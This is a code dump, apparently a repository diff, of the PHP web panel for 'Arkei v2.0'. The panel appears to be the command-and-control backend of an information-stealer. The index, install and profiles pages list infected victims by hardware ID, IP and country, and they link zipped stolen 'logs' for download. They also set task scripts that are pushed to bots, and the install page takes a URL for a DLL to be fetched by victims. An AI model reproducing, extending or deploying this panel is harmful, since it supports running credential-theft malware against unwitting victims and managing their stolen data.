<code style="padding: 4px 5px; border-radius: 4px; background-color: #EFF3F6; color: #df5000; font-family: $code-font-family; font-size: 16px;">open_url;https://google.com</code>
|
||||
<br>
|
||||
<br>
|
||||
|
||||
<table class="c-table u-mb-small">
|
||||
<thead class="c-table__head c-table__head--slim">
|
||||
<tr class="c-table__row">
|
||||
<th class="c-table__cell c-table__cell--head u-border-right">Param</th>
|
||||
<th class="c-table__cell c-table__cell--head">Description</th>
|
||||
</tr>
|
||||
</thead>
|
||||
|
||||
<tbody>
|
||||
<tr class="c-table__row">
|
||||
<td class="c-table__cell u-border-right">
|
||||
<code class="c-code">open_url</code>
|
||||
</td>
|
||||
<td class="c-table__cell">Task type</td>
|
||||
</tr>
|
||||
|
||||
<tr class="c-table__row">
|
||||
<td class="c-table__cell u-border-right">
|
||||
<code class="c-code">https://google.com</code>
|
||||
</td>
|
||||
<td class="c-table__cell">Your URL to open in browser</td>
|
||||
</tr>
|
||||
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
|
||||
</section>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 15 KiB |
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
|
After Width: | Height: | Size: 434 KiB |
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,292 @@
|
||||
<?php
|
||||
/*
|
||||
Main Page
|
||||
*/
|
||||
session_start();
|
||||
error_reporting(0);
|
||||
|
||||
require("app/config.php");
|
||||
|
||||
$notice_install_file = FALSE;
|
||||
|
||||
if($config["db_server"] == null)
|
||||
{
|
||||
header('Location: http://'. $_SERVER["HTTP_HOST"] .'/install');
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if($_SESSION["auth"] != true)
|
||||
{
|
||||
header( 'Location: http://'. $config["server_addr"] .'/auth', true, 301 );
|
||||
}
|
||||
|
||||
if(file_exists("install.php"))
|
||||
{
|
||||
unlink('install.php');
|
||||
if(file_exists("install.php"))
|
||||
$notice_install_file = TRUE;
|
||||
}
|
||||
|
||||
$action = checkParam($_GET["action"]);
|
||||
$p = checkParam($_GET["p"]);
|
||||
|
||||
if(strlen($p) > 6)
|
||||
{
|
||||
header( 'Location: http://'. $config["panel_url"] .'/bots', true, 301 );
|
||||
}
|
||||
|
||||
$d = $p - 1;
|
||||
|
||||
$database = mysqli_connect($config["db_server"], $config["db_user"], $config["db_password"], $config["db_name"]);
|
||||
|
||||
if($database)
|
||||
{
|
||||
if($p)
|
||||
{
|
||||
$bots = $database->query('SELECT * FROM `logs` ORDER BY `id` DESC LIMIT '. $d .'00, '. $p .'00;');
|
||||
}
|
||||
else
|
||||
{
|
||||
$bots = $database->query("SELECT * FROM `logs` ORDER BY `id` DESC LIMIT 100;");
|
||||
}
|
||||
|
||||
$all_logs = $database->query("SELECT * FROM `stats` WHERE `Name`='all_logs';")->fetch_array();
|
||||
$all_files = $database->query("SELECT * FROM `stats` WHERE `Name`='all_files';")->fetch_array();
|
||||
$all_errors = $database->query("SELECT * FROM `stats` WHERE `Name`='errors';")->fetch_array();
|
||||
|
||||
$_data = date("d/m/Y");
|
||||
$_bots = $database->query("SELECT COUNT(1) FROM `logs`");
|
||||
$_b = $_bots->fetch_assoc();
|
||||
$_bots_a_sql = $database->query("SELECT * FROM `logs`");
|
||||
$_bots_active = 0;
|
||||
while ($_bots_a = $_bots_a_sql->fetch_assoc())
|
||||
{
|
||||
$_bot_last_online = $_bots_a["date"];
|
||||
$_last_online_date = explode(' ', $_bot_last_online);
|
||||
if($_last_online_date[0] == $_data)
|
||||
{
|
||||
$_bots_active++;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$action = "db_not_connected";
|
||||
$all_logs["Value"] = "Error";
|
||||
$all_files["Value"] = "Error";
|
||||
$all_errors["Value"] = "Error";
|
||||
$_bots_active = "Error";
|
||||
}
|
||||
|
||||
function checkParam($param)
|
||||
{
|
||||
$formatted = $param;
|
||||
$formatted = trim($formatted);
|
||||
$formatted = stripslashes($formatted);
|
||||
$formatted = htmlspecialchars($formatted);
|
||||
|
||||
return $formatted;
|
||||
}
|
||||
|
||||
?>
|
||||
<!doctype html>
|
||||
<html lang="en-us">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="x-ua-compatible" content="ie=edge">
|
||||
<title>Logs | Arkei</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
|
||||
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,400i,600" rel="stylesheet">
|
||||
|
||||
<link rel="apple-touch-icon" href="apple-touch-icon.png">
|
||||
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
|
||||
|
||||
<link rel="stylesheet" href="css/main.min.css">
|
||||
</head>
|
||||
<body>
|
||||
<div class="c-toolbar u-mb-medium">
|
||||
<h3 class="c-toolbar__title has-divider">Logs</h3>
|
||||
<h5 class="c-toolbar__meta u-mr-auto">Arkei v2.0 | Develop by <a href="https://t.me/foxovsky">@foxovsky</a></h5>
|
||||
|
||||
<a href="/index"><button type="button" class="c-btn c-btn--info u-ml-small" >Logs</button></a>
|
||||
<a href="/profiles"><button type="button" class="c-btn c-btn--info u-ml-small" >Profiles</button></a>
|
||||
<a href="/settings"><button type="button" class="c-btn c-btn--success u-ml-small" >Settings</button></a>
|
||||
</div>
|
||||
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<?
|
||||
|
||||
switch($action)
|
||||
{
|
||||
case 'install_success':
|
||||
?>
|
||||
<div class="c-alert c-alert--success">
|
||||
<i class="c-alert__icon fa fa-check-circle"></i> Arkei successful installed! Please, delete install.php file.</div>
|
||||
<?
|
||||
break;
|
||||
|
||||
case 'db_not_connected':
|
||||
?>
|
||||
<div class="c-alert c-alert--danger">
|
||||
<i class="c-alert__icon fa fa-check-circle"></i> Can't connect to MySQL database. Please, check app/config.php file</div>
|
||||
<?
|
||||
break;
|
||||
}
|
||||
|
||||
if($notice_install_file)
|
||||
{ ?>
|
||||
<div class="c-alert c-alert--danger">
|
||||
<i class="c-alert__icon fa fa-exclamation-triangle"></i> Please, delete install.php file in main directory!</div>
|
||||
<? }
|
||||
|
||||
if(!file_exists('server/'. $config["logs_folder"]))
|
||||
{ ?>
|
||||
<div class="c-alert c-alert--danger">
|
||||
<i class="c-alert__icon fa fa-exclamation-triangle"></i> Directory server/<? echo $config["logs_folder"] ?> does not exist!</div>
|
||||
<? }
|
||||
|
||||
?>
|
||||
|
||||
<div class="col-sm-6 col-lg-3">
|
||||
<div class="c-state">
|
||||
<h3 class="c-state__title">All Logs</h3>
|
||||
<h4 class="c-state__number"><? echo $all_logs["Value"]; ?></h4>
|
||||
<span class="c-state__indicator">
|
||||
<i class="fa fa-globe"></i>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="col-sm-6 col-lg-3">
|
||||
<div class="c-state c-state--success">
|
||||
<h3 class="c-state__title">Logs Today</h3>
|
||||
<h4 class="c-state__number"><? echo $_bots_active; ?></h4>
|
||||
<span class="c-state__indicator">
|
||||
<i class="fa fa-calendar"></i>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="col-sm-6 col-lg-3">
|
||||
<div class="c-state c-state--warning">
|
||||
<h3 class="c-state__title">Files</h3>
|
||||
<h4 class="c-state__number"><? echo $all_files["Value"]; ?></h4>
|
||||
<span class="c-state__indicator">
|
||||
<i class="fa fa-cloud-download"></i>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="col-sm-6 col-lg-3">
|
||||
<div class="c-state c-state--danger">
|
||||
<h3 class="c-state__title">Errors</h3>
|
||||
<h4 class="c-state__number"><? echo $all_errors["Value"]; ?></h4>
|
||||
<span class="c-state__indicator">
|
||||
<i class="fa fa-exclamation-triangle"></i>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row u-mb-large">
|
||||
<div class="col-sm-12">
|
||||
<table class="c-table u-mb-small">
|
||||
|
||||
<caption class="c-table__title">Latest Logs</caption>
|
||||
|
||||
<thead class="c-table__head c-table__head--slim">
|
||||
<tr class="c-table__row">
|
||||
<th class="c-table__cell c-table__cell--head">ID</th>
|
||||
<th class="c-table__cell c-table__cell--head">System</th>
|
||||
<th class="c-table__cell c-table__cell--head">IP Address</th>
|
||||
<th class="c-table__cell c-table__cell--head">Date</th>
|
||||
<th class="c-table__cell c-table__cell--head">Profile</th>
|
||||
<th class="c-table__cell c-table__cell--head">Files</th>
|
||||
<th class="c-table__cell c-table__cell--head">
|
||||
<span class="u-hidden-visually">Actions</span>
|
||||
</th>
|
||||
</tr>
|
||||
</thead>
|
||||
|
||||
<tbody>
|
||||
<?
|
||||
|
||||
while ($bot = $bots->fetch_assoc())
|
||||
{
|
||||
?>
|
||||
<tr class="c-table__cell">
|
||||
<td class="c-table__cell"><? echo $bot["id"]; ?></td>
|
||||
|
||||
<td class="c-table__cell"><? echo $bot["hwid"]; ?>
|
||||
<small class="u-block u-text-mute"><? echo $bot["system"]; ?></small>
|
||||
</td>
|
||||
|
||||
<td class="c-table__cell"><? echo $bot["ip"]; ?>
|
||||
<small class="u-block u-text-mute"><? echo $bot["country"]; ?></small>
|
||||
</td>
|
||||
|
||||
<td class="c-table__cell"><? echo substr($bot["date"], 0, 10); ?>
|
||||
<small class="u-block u-text-mute"><? echo substr($bot["date"], 11); ?></small>
|
||||
</td>
|
||||
|
||||
<td class="c-table__cell"><?
|
||||
$profileID = $bot["profile"];
|
||||
$profile = $database->query("SELECT * FROM `profiles` WHERE `id`='$profileID';")->fetch_array();
|
||||
|
||||
echo $profile["Name"];?></td>
|
||||
|
||||
<td class="c-table__cell">
|
||||
<i class="fa fa-circle-o u-color-success u-mr-xsmall"></i>Upload <? echo $bot["count"]; ?> files
|
||||
</td>
|
||||
|
||||
<td class="c-table__cell u-text-right">
|
||||
<div class="c-dropdown dropdown">
|
||||
<a class="c-btn c-btn--info" href="/server/<? echo $config["logs_folder"]; ?>/<? echo $bot["user"]."".$bot["hwid"]; ?>.zip">
|
||||
<i class="fa fa-cloud-download u-mr-xsmall"></i>Download
|
||||
</a>
|
||||
<a class="c-btn c-btn--danger" style="margin-right:-14px; margin-left: 6px;" href="/deleteLog?id=<? echo $bot["id"]; ?>">
|
||||
Delete
|
||||
</a>
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
<?
|
||||
}
|
||||
|
||||
?>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<nav class="c-pagination u-justify-between">
|
||||
|
||||
<?
|
||||
if($p != null)
|
||||
{
|
||||
$next = $p + 1;
|
||||
$past = $p - 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
$next = 2;
|
||||
$past = null;
|
||||
}
|
||||
|
||||
?>
|
||||
<a class="c-pagination__control" href="/index?p=<?php echo $past; ?>">
|
||||
<i class="fa fa-caret-left"></i>
|
||||
</a>
|
||||
|
||||
<p class="c-pagination__counter">Page <? if($p == null) { echo "1"; }else { echo $p; } ?></p>
|
||||
|
||||
<a class="c-pagination__control" href="/index?p=<?php echo $next; ?>">
|
||||
<i class="fa fa-caret-right"></i>
|
||||
</a>
|
||||
</nav>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
<? mysqli_close($database); ?>
|
||||
@@ -0,0 +1,235 @@
|
||||
<?php
|
||||
/*
|
||||
Arkei install script
|
||||
*/
|
||||
error_reporting(0);
|
||||
require("app/config.php");
|
||||
|
||||
$db_server = checkParam($_POST["db_server"]);
|
||||
$db_user = checkParam($_POST["db_user"]);
|
||||
$db_password = checkParam($_POST["db_password"]);
|
||||
$db_name = checkParam($_POST["db_name"]);
|
||||
|
||||
$server_addr = checkParam($_POST["server_addr"]);
|
||||
$logs_folder = checkParam($_POST["logs_folder"]);
|
||||
|
||||
$adm_login = checkParam($_POST["adm_login"]);
|
||||
$adm_password = md5(checkParam($_POST["adm_password"]));
|
||||
|
||||
$sqlite_lib_url = checkParam($_POST["sqlite_lib_url"]);
|
||||
|
||||
$error = NULL;
|
||||
|
||||
if($config["db_server"] != null)
|
||||
{
|
||||
$database = mysqli_connect($config["db_server"], $config["db_user"], $config["db_password"], $config["db_name"]);
|
||||
|
||||
if(!$database)
|
||||
{
|
||||
$error = "Can't connect to database.";
|
||||
mysqli_close($database);
|
||||
}
|
||||
else
|
||||
{
|
||||
header('Location: http://'. $config["server_addr"] .'/index?action=install_success');
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
if(
|
||||
$db_server != null &
|
||||
$db_user != null &
|
||||
$db_name != null &
|
||||
$server_addr != null &
|
||||
$logs_folder != null &
|
||||
$adm_login != null &
|
||||
$adm_password != null &
|
||||
$sqlite_lib_url != null
|
||||
)
|
||||
{
|
||||
$config_file = fopen("app/config.php", "w");
|
||||
$configuration = '<?php $config = array("db_server" => "'. $db_server .'", "db_user" => "'. $db_user .'", "db_password" => "'. $db_password .'", "db_name" => "'. $db_name .'", "server_addr" => "'. $server_addr .'", "logs_folder" => "'. $logs_folder .'", "adm_login" => "'. $adm_login .'", "adm_password" => "'. $adm_password .'" ); ?>';
|
||||
|
||||
fwrite($config_file, $configuration);
|
||||
fclose($config_file);
|
||||
|
||||
if (!file_exists('server/'. $logs_folder))
|
||||
{
|
||||
mkdir('server/'. $logs_folder .'/', 0777, true);
|
||||
}
|
||||
|
||||
$database = mysqli_connect($db_server, $db_user, $db_password, $db_name);
|
||||
|
||||
if(!$database)
|
||||
{
|
||||
$error = "Can't connect to database.";
|
||||
}
|
||||
else
|
||||
{
|
||||
$database->query('SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";');
|
||||
$database->query('SET time_zone = "+00:00";');
|
||||
$database->query('CREATE TABLE IF NOT EXISTS `logs` (`id` int(11) NOT NULL AUTO_INCREMENT, `hwid` text NOT NULL, `system` text NOT NULL, `ip` text NOT NULL, `country` text NOT NULL, `date` text NOT NULL, `profile` int(11) NOT NULL, `count` int(11), `user` text NOT NULL NOT NULL, PRIMARY KEY (`id`)) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;');
|
||||
$database->query('CREATE TABLE IF NOT EXISTS `profiles` (`id` int(11) NOT NULL AUTO_INCREMENT, `Name` text NOT NULL, `task` text NOT NULL, `Count` int(11) NOT NULL, PRIMARY KEY (`id`)) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;');
|
||||
$database->query("INSERT INTO `profiles` (`id`, `Name`, `task`, `Count`) VALUES(1, 'Main Profile', 'none;', 0),(2, 'Two Profile', 'none;', 0),(3, 'Three Profile', 'none;', 0),(4, 'Four Profile', 'none;', 0),(5, 'Five Profile', 'none;', 0),(6, 'Six Profile', 'none;', 0),(7, 'Seven Profile', 'none;', 0),(8, 'Eight Profile', 'none;', 0),(9, 'Nine Profile', 'none;', 0),(10, 'Ten Profile', 'none;', 0);");
|
||||
$database->query('CREATE TABLE IF NOT EXISTS `stats` (`Name` text NOT NULL, `Value` text NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=utf8;');
|
||||
$database->query("INSERT INTO `stats`(`Name`, `Value`) VALUES ('all_logs','0')");
|
||||
$database->query("INSERT INTO `stats`(`Name`, `Value`) VALUES ('all_files','0')");
|
||||
$database->query("INSERT INTO `stats`(`Name`, `Value`) VALUES ('errors','0')");
|
||||
$database->query('CREATE TABLE IF NOT EXISTS `settings` (`Name` text NOT NULL,`Value` text NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=utf8;');
|
||||
$database->query("INSERT INTO `settings`(`Name`, `Value`) VALUES ('sqlite_lib_url','$sqlite_lib_url')");
|
||||
|
||||
mysqli_close($database);
|
||||
}
|
||||
|
||||
header('Location: http://'. $server_addr .'/index');
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
{
|
||||
$error = "Please enter all params!";
|
||||
}
|
||||
|
||||
function checkParam($param)
|
||||
{
|
||||
$formatted = $param;
|
||||
$formatted = trim($formatted);
|
||||
$formatted = stripslashes($formatted);
|
||||
$formatted = htmlspecialchars($formatted);
|
||||
|
||||
return $formatted;
|
||||
}
|
||||
|
||||
?>
|
||||
|
||||
<!doctype html>
|
||||
<html lang="en-us">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="x-ua-compatible" content="ie=edge">
|
||||
<title>Install | Arkei</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
|
||||
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,400i,600,700" rel="stylesheet">
|
||||
|
||||
<link rel="apple-touch-icon" href="apple-touch-icon.png">
|
||||
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
|
||||
|
||||
<link rel="stylesheet" href="css/main.min.css">
|
||||
</head>
|
||||
<body>
|
||||
<br>
|
||||
<br>
|
||||
|
||||
<div class="container">
|
||||
<form id="install" action="/install" method="post">
|
||||
<div class="row">
|
||||
<div class="col-xl-3 u-hidden-down@wide">
|
||||
<aside class="c-menu u-ml-medium"></aside>
|
||||
</div>
|
||||
|
||||
<div class="col-md-7 col-xl-6">
|
||||
<main>
|
||||
<h2 class="u-h3 u-mb-small">Install Arkei</h2>
|
||||
|
||||
<?
|
||||
if($error != null)
|
||||
{
|
||||
?>
|
||||
<div class="c-alert c-alert--danger">
|
||||
<i class="c-alert__icon fa fa-exclamation-triangle"></i> <? echo $error; ?></div>
|
||||
<?
|
||||
}
|
||||
?>
|
||||
|
||||
<div class="c-card u-p-medium u-text-small u-mb-small">
|
||||
<h6 class="u-text-bold">MySQL Info</h6>
|
||||
|
||||
<dl class="u-flex u-pv-small">
|
||||
<div class="c-field">
|
||||
<label class="c-field__label " for="db_server">Server Address</label>
|
||||
<input class="c-input" id="db_server" name="db_server" type="text" placeholder="localhost" value="">
|
||||
</div>
|
||||
</dl>
|
||||
|
||||
<dl class="u-flex u-pv-small">
|
||||
<div class="c-field">
|
||||
<label class="c-field__label " for="db_user">Username</label>
|
||||
<input class="c-input" id="db_user" name="db_user" type="text" placeholder="root" value="">
|
||||
</div>
|
||||
</dl>
|
||||
|
||||
<dl class="u-flex u-pv-small">
|
||||
<div class="c-field">
|
||||
<label class="c-field__label " for="db_password">Password</label>
|
||||
<input class="c-input" id="db_password" name="db_password" type="password" placeholder="toor" value="">
|
||||
</div>
|
||||
</dl>
|
||||
|
||||
<dl class="u-flex u-pv-small">
|
||||
<div class="c-field">
|
||||
<label class="c-field__label " for="db_name">Database Name</label>
|
||||
<input class="c-input" id="db_name" name="db_name" type="text" placeholder="arkei" value="">
|
||||
</div>
|
||||
</dl>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="c-card u-p-medium u-mb-small u-text-small">
|
||||
<h6 class="u-text-bold">Server Info</h6>
|
||||
|
||||
<dl class="u-flex u-pv-small">
|
||||
<div class="c-field">
|
||||
<label class="c-field__label " for="server_addr">Web-Server Addr</label>
|
||||
<input class="c-input" id="server_addr" name="server_addr" type="text" placeholder="arkei.com" value="">
|
||||
</div>
|
||||
</dl>
|
||||
|
||||
<dl class="u-flex u-pv-small">
|
||||
<div class="c-field">
|
||||
<label class="c-field__label " for="logs_folder">Folder to upload logs</label>
|
||||
<input class="c-input" id="logs_folder" name="logs_folder" type="text" placeholder="_files2387ygsfuasgfd7623t" value="">
|
||||
</div>
|
||||
</dl>
|
||||
|
||||
<dl class="u-flex u-pv-small">
|
||||
<div class="c-field">
|
||||
<label class="c-field__label " for="adm_login">Admin Login</label>
|
||||
<input class="c-input" id="adm_login" name="adm_login" type="text" placeholder="admin" value="">
|
||||
</div>
|
||||
</dl>
|
||||
|
||||
<dl class="u-flex u-pv-small">
|
||||
<div class="c-field">
|
||||
<label class="c-field__label " for="adm_password">Admin Password</label>
|
||||
<input class="c-input" id="adm_password" name="adm_password" type="password" placeholder="admin" value="">
|
||||
</div>
|
||||
</dl>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="c-card u-p-medium u-mb-small u-text-small">
|
||||
<h6 class="u-text-bold">Other</h6>
|
||||
|
||||
<dl class="u-flex u-pv-small">
|
||||
<div class="c-field">
|
||||
<label class="c-field__label " for="sqlite_lib_url">Sqlite Lib Url</label>
|
||||
<input class="c-input" id="sqlite_lib_url" name="sqlite_lib_url" type="text" placeholder="http://github.com/user/example/raw/master/sqlite.dll" value="">
|
||||
</div>
|
||||
</dl>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="col u-mb-medium" style="width:200px; margin-right: 50%;">
|
||||
<a onclick="document.getElementById('install').submit(); return false;" class="c-btn c-btn--success c-btn--fullwidth">Install</a>
|
||||
</div>
|
||||
|
||||
</main>
|
||||
</div>
|
||||
|
||||
<div class="col-md-5 col-xl-3 u-mb-medium u-hidden-down@tablet"></div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
<script src="js/main.min.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,257 @@
|
||||
<?php
|
||||
/*
|
||||
Profiles
|
||||
*/
|
||||
session_start();
|
||||
error_reporting(0);
|
||||
|
||||
require("app/config.php");
|
||||
|
||||
$action;
|
||||
|
||||
if($config["db_server"] == null)
|
||||
{
|
||||
header('Location: http://'. $_SERVER["HTTP_HOST"] .'/install');
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if($_SESSION["auth"] != true)
|
||||
{
|
||||
header( 'Location: http://'. $config["server_addr"] .'/auth', true, 301 );
|
||||
}
|
||||
|
||||
$database = mysqli_connect($config["db_server"], $config["db_user"], $config["db_password"], $config["db_name"]);
|
||||
|
||||
if($database)
|
||||
{
|
||||
$profile_1_name = checkParam($_POST["profile_1_name"]);
|
||||
$profile_1_task = checkParam($_POST["profile_1_task"]);
|
||||
|
||||
if($profile_1_name != null)
|
||||
$database->query("UPDATE `profiles` SET `Name`='$profile_1_name' WHERE `id`='1';");
|
||||
|
||||
if($profile_1_task != null)
|
||||
$database->query("UPDATE `profiles` SET `task`='$profile_1_task' WHERE `id`='1';");
|
||||
|
||||
$profile_2_name = checkParam($_POST["profile_2_name"]);
|
||||
$profile_2_task = checkParam($_POST["profile_2_task"]);
|
||||
|
||||
if($profile_2_name != null)
|
||||
$database->query("UPDATE `profiles` SET `Name`='$profile_2_name' WHERE `id`='2';");
|
||||
|
||||
if($profile_2_task != null)
|
||||
$database->query("UPDATE `profiles` SET `task`='$profile_2_task' WHERE `id`='2';");
|
||||
|
||||
$profile_3_name = checkParam($_POST["profile_3_name"]);
|
||||
$profile_3_task = checkParam($_POST["profile_3_task"]);
|
||||
|
||||
if($profile_3_name != null)
|
||||
$database->query("UPDATE `profiles` SET `Name`='$profile_3_name' WHERE `id`='3';");
|
||||
|
||||
if($profile_3_task != null)
|
||||
$database->query("UPDATE `profiles` SET `task`='$profile_3_task' WHERE `id`='3';");
|
||||
|
||||
$profile_4_name = checkParam($_POST["profile_4_name"]);
|
||||
$profile_4_task = checkParam($_POST["profile_4_task"]);
|
||||
|
||||
if($profile_4_name != null)
|
||||
$database->query("UPDATE `profiles` SET `Name`='$profile_4_name' WHERE `id`='4';");
|
||||
|
||||
if($profile_4_task != null)
|
||||
$database->query("UPDATE `profiles` SET `task`='$profile_4_task' WHERE `id`='4';");
|
||||
|
||||
$profile_5_name = checkParam($_POST["profile_5_name"]);
|
||||
$profile_5_task = checkParam($_POST["profile_5_task"]);
|
||||
|
||||
if($profile_5_name != null)
|
||||
$database->query("UPDATE `profiles` SET `Name`='$profile_5_name' WHERE `id`='5';");
|
||||
|
||||
if($profile_5_task != null)
|
||||
$database->query("UPDATE `profiles` SET `task`='$profile_5_task' WHERE `id`='5';");
|
||||
|
||||
$profile_6_name = checkParam($_POST["profile_6_name"]);
|
||||
$profile_6_task = checkParam($_POST["profile_6_task"]);
|
||||
|
||||
if($profile_6_name != null)
|
||||
$database->query("UPDATE `profiles` SET `Name`='$profile_6_name' WHERE `id`='6';");
|
||||
|
||||
if($profile_6_task != null)
|
||||
$database->query("UPDATE `profiles` SET `task`='$profile_6_task' WHERE `id`='6';");
|
||||
|
||||
$profile_7_name = checkParam($_POST["profile_7_name"]);
|
||||
$profile_7_task = checkParam($_POST["profile_7_task"]);
|
||||
|
||||
if($profile_7_name != null)
|
||||
$database->query("UPDATE `profiles` SET `Name`='$profile_7_name' WHERE `id`='7';");
|
||||
|
||||
if($profile_7_task != null)
|
||||
$database->query("UPDATE `profiles` SET `task`='$profile_7_task' WHERE `id`='7';");
|
||||
|
||||
$profile_8_name = checkParam($_POST["profile_8_name"]);
|
||||
$profile_8_task = checkParam($_POST["profile_8_task"]);
|
||||
|
||||
if($profile_8_name != null)
|
||||
$database->query("UPDATE `profiles` SET `Name`='$profile_8_name' WHERE `id`='8';");
|
||||
|
||||
if($profile_8_task != null)
|
||||
$database->query("UPDATE `profiles` SET `task`='$profile_8_task' WHERE `id`='8';");
|
||||
|
||||
$profile_9_name = checkParam($_POST["profile_9_name"]);
|
||||
$profile_9_task = checkParam($_POST["profile_9_task"]);
|
||||
|
||||
if($profile_9_name != null)
|
||||
$database->query("UPDATE `profiles` SET `Name`='$profile_9_name' WHERE `id`='9';");
|
||||
|
||||
if($profile_9_task != null)
|
||||
$database->query("UPDATE `profiles` SET `task`='$profile_9_task' WHERE `id`='9';");
|
||||
|
||||
$profile_10_name = checkParam($_POST["profile_10_name"]);
|
||||
$profile_10_task = checkParam($_POST["profile_10_task"]);
|
||||
|
||||
if($profile_10_name != null)
|
||||
$database->query("UPDATE `profiles` SET `Name`='$profile_10_name' WHERE `id`='10';");
|
||||
|
||||
if($profile_10_task != null)
|
||||
$database->query("UPDATE `profiles` SET `task`='$profile_10_task' WHERE `id`='10';");
|
||||
|
||||
$profiles = $database->query("SELECT * FROM `profiles` ORDER BY `id`;");
|
||||
}
|
||||
else
|
||||
{
|
||||
$action = "db_not_connected";
|
||||
}
|
||||
|
||||
|
||||
function checkParam($param)
|
||||
{
|
||||
$formatted = $param;
|
||||
$formatted = trim($formatted);
|
||||
$formatted = stripslashes($formatted);
|
||||
$formatted = htmlspecialchars($formatted);
|
||||
|
||||
return $formatted;
|
||||
}
|
||||
|
||||
?>
|
||||
<!doctype html>
|
||||
<html lang="en-us">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="x-ua-compatible" content="ie=edge">
|
||||
<title>Profiles | Arkei</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
|
||||
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,400i,600" rel="stylesheet">
|
||||
|
||||
<link rel="apple-touch-icon" href="apple-touch-icon.png">
|
||||
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
|
||||
|
||||
<link rel="stylesheet" href="css/main.min.css">
|
||||
</head>
|
||||
<body>
|
||||
<div class="c-toolbar u-mb-medium">
|
||||
<h3 class="c-toolbar__title has-divider">Profiles</h3>
|
||||
<h5 class="c-toolbar__meta u-mr-auto">Arkei v2.0 | Develop by <a href="https://t.me/foxovsky">@foxovsky</a></h5>
|
||||
|
||||
<a href="/index"><button type="button" class="c-btn c-btn--info u-ml-small" >Logs</button></a>
|
||||
<a href="/profiles"><button type="button" class="c-btn c-btn--info u-ml-small" >Profiles</button></a>
|
||||
<a href="/settings"><button type="button" class="c-btn c-btn--success u-ml-small" >Settings</button></a>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<?
|
||||
|
||||
switch($action)
|
||||
{
|
||||
case 'install_success':
|
||||
?>
|
||||
<div class="c-alert c-alert--success">
|
||||
<i class="c-alert__icon fa fa-check-circle"></i> Arkei successful installed! Please, delete install.php file.</div>
|
||||
<?
|
||||
break;
|
||||
|
||||
case 'db_not_connected':
|
||||
?>
|
||||
<div class="c-alert c-alert--danger">
|
||||
<i class="c-alert__icon fa fa-check-circle"></i> Can't connect to MySQL database. Please, check app/config.php file</div>
|
||||
<?
|
||||
exit(0);
|
||||
break;
|
||||
}
|
||||
|
||||
if($notice_install_file)
|
||||
{ ?>
|
||||
<div class="c-alert c-alert--danger">
|
||||
<i class="c-alert__icon fa fa-exclamation-triangle"></i> Please, delete install.php file in main directory!</div>
|
||||
<? }
|
||||
|
||||
if(!file_exists('server/'. $config["logs_folder"]))
|
||||
{ ?>
|
||||
<div class="c-alert c-alert--danger">
|
||||
<i class="c-alert__icon fa fa-exclamation-triangle"></i> Directory server/<? echo $config["logs_folder"] ?> does not exist!</div>
|
||||
<? }
|
||||
|
||||
?>
|
||||
|
||||
<div class="col-md-12">
|
||||
<form id="profiles" action="/profiles" method="post">
|
||||
<div class="c-card u-mb-large">
|
||||
<div class="c-card__head">
|
||||
<h3 class="c-card__title">Profiles <small> <a href="/faq?type=tasks">How to use Tasks?</a></small></h3>
|
||||
</div>
|
||||
|
||||
<table class="c-table">
|
||||
<thead class="c-table__head c-table__head--slim">
|
||||
<tr class="c-table__row">
|
||||
<th class="c-table__cell c-table__cell--head">No.</th>
|
||||
<th class="c-table__cell c-table__cell--head">Name</th>
|
||||
<th class="c-table__cell c-table__cell--head">Installs</th>
|
||||
<th class="c-table__cell c-table__cell--head">Task Script</th>
|
||||
</tr>
|
||||
</thead>
|
||||
|
||||
<tbody>
|
||||
|
||||
<?
|
||||
|
||||
while ($profile = $profiles->fetch_assoc())
|
||||
{
|
||||
?>
|
||||
<tr class="c-table__row">
|
||||
